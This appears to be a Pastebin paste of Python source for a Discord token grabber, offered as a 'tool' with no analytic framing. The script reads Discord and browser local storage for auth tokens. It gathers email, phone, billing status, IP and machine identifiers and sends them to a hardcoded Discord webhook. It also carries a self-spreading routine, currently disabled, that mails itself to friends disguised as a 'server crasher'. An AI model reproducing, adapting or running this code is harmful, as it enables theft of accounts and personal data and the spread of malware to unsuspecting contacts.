chance40711

tool

Jan 15th, 2021 (edited)
30
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.90 KB | None | 0 0
  1. import os
  2. if os.name != "nt":
  3. exit()
  4. from re import findall
  5. from json import loads, dumps
  6. from base64 import b64decode
  7. from subprocess import Popen, PIPE
  8. from urllib.request import Request, urlopen
  9. from datetime import datetime
  10. from threading import Thread
  11. from time import sleep
  12. from sys import argv
  13. LOCAL = os.getenv("LOCALAPPDATA")
  14. ROAMING = os.getenv("APPDATA")
  15. PATHS = {
  16. "Discord" : ROAMING + "\\Discord",
  17. "Discord Canary" : ROAMING + "\\discordcanary",
  18. "Discord PTB" : ROAMING + "\\discordptb",
  19. "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default",
  20. "Opera" : ROAMING + "\\Opera Software\\Opera Stable",
  21. "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
  22. "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default"
  23. }
  24. def getheaders(token=None, content_type="application/json"):
  25. headers = {
  26. "Content-Type": content_type,
  27. "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
  28. }
  29. if token:
  30. headers.update({"Authorization": token})
  31. return headers
  32. def getuserdata(token):
  33. try:
  34. return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())
  35. except:
  36. pass
  37. def gettokens(path):
  38. path += "\\Local Storage\\leveldb"
  39. tokens = []
  40. for file_name in os.listdir(path):
  41. if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
  42. continue
  43. for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
  44. for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
  45. for token in findall(regex, line):
  46. tokens.append(token)
  47. return tokens
  48. def getdeveloper():
  49. dev = "wodx"
  50. try:
  51. dev = urlopen(Request("https://pastebin.com/raw/ssFxiejv")).read().decode()
  52. except:
  53. pass
  54. return dev
  55. def getip():
  56. ip = "None"
  57. try:
  58. ip = urlopen(Request("https://api.ipify.org")).read().decode().strip()
  59. except:
  60. pass
  61. return ip
  62. def getavatar(uid, aid):
  63. url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif"
  64. try:
  65. urlopen(Request(url))
  66. except:
  67. url = url[:-4]
  68. return url
  69. def gethwid():
  70. p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
  71. return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1]
  72. def getfriends(token):
  73. try:
  74. return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())
  75. except:
  76. pass
  77. def getchat(token, uid):
  78. try:
  79. return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"]
  80. except:
  81. pass
  82. def has_payment_methods(token):
  83. try:
  84. return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0)
  85. except:
  86. pass
  87. def send_message(token, chat_id, form_data):
  88. try:
  89. urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode()
  90. except:
  91. pass
  92. def spread(token, form_data, delay):
  93. return # Remove to re-enabled
  94. for friend in getfriends(token):
  95. try:
  96. chat_id = getchat(token, friend["id"])
  97. send_message(token, chat_id, form_data)
  98. except Exception as e:
  99. pass
  100. sleep(delay)
  101. def main():
  102. cache_path = ROAMING + "\\.cache~$"
  103. prevent_spam = True
  104. self_spread = True
  105. embeds = []
  106. working = []
  107. checked = []
  108. already_cached_tokens = []
  109. working_ids = []
  110. ip = getip()
  111. pc_username = os.getenv("UserName")
  112. pc_name = os.getenv("COMPUTERNAME")
  113. user_path_name = os.getenv("userprofile").split("\\")[2]
  114. developer = getdeveloper()
  115. for platform, path in PATHS.items():
  116. if not os.path.exists(path):
  117. continue
  118. for token in gettokens(path):
  119. if token in checked:
  120. continue
  121. checked.append(token)
  122. uid = None
  123. if not token.startswith("mfa."):
  124. try:
  125. uid = b64decode(token.split(".")[0].encode()).decode()
  126. except:
  127. pass
  128. if not uid or uid in working_ids:
  129. continue
  130. user_data = getuserdata(token)
  131. if not user_data:
  132. continue
  133. working_ids.append(uid)
  134. working.append(token)
  135. username = user_data["username"] + "#" + str(user_data["discriminator"])
  136. user_id = user_data["id"]
  137. avatar_id = user_data["avatar"]
  138. avatar_url = getavatar(user_id, avatar_id)
  139. email = user_data.get("email")
  140. phone = user_data.get("phone")
  141. nitro = bool(user_data.get("premium_type"))
  142. billing = bool(has_payment_methods(token))
  143. embed = {
  144. "color": 0x0eec59,
  145. "fields": [
  146. {
  147. "name": "**Account Info**",
  148. "value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\nBilling Info: {billing}',
  149. "inline": True
  150. },
  151. {
  152. "name": "**PC Info**",
  153. "value": f'IP: {ip}\nUsername: {pc_username}\nPC Name: {pc_name}\nToken Location: {platform}',
  154. "inline": True
  155. },
  156. {
  157. "name": "**Token**",
  158. "value": token,
  159. "inline": False
  160. }
  161. ],
  162. "author": {
  163. "name": f"{username} ({user_id})",
  164. "icon_url": avatar_url
  165. },
  166. "footer": {
  167. "text": f"Token grabber by THC4L"
  168. }
  169. }
  170. embeds.append(embed)
  171. with open(cache_path, "a") as file:
  172. for token in checked:
  173. if not token in already_cached_tokens:
  174. file.write(token + "\n")
  175. if len(working) == 0:
  176. working.append('123')
  177. webhook = {
  178. "content": "",
  179. "embeds": embeds,
  180. "username": "THC4L",
  181. "avatar_url": "https://discordapp.com/assets/5ccabf62108d5a8074ddd95af2211727.png"
  182. }
  183. try:
  184. urlopen(Request("https://discord.com/api/webhooks/799761498909048912/NJfi5bXgUSoBtvuMX1uGOoCjylIwIX3bbr3cl1MPd8m-h08ITfTg5X9619aqKSFgFUut", data=dumps(webhook).encode(), headers=getheaders()))
  185. except:
  186. pass
  187. if self_spread:
  188. for token in working:
  189. with open(argv[0], encoding="utf-8") as file:
  190. content = file.read()
  191. payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--'
  192. Thread(target=spread, args=(token, payload, 7500 / 1000)).start()
  193. try:
  194. main()
  195. except Exception as e:
  196. print(e)
  197. pass
  198.  
  199.  
  200.  
  201.  
  202.  
Add Comment
Please, Sign In to add comment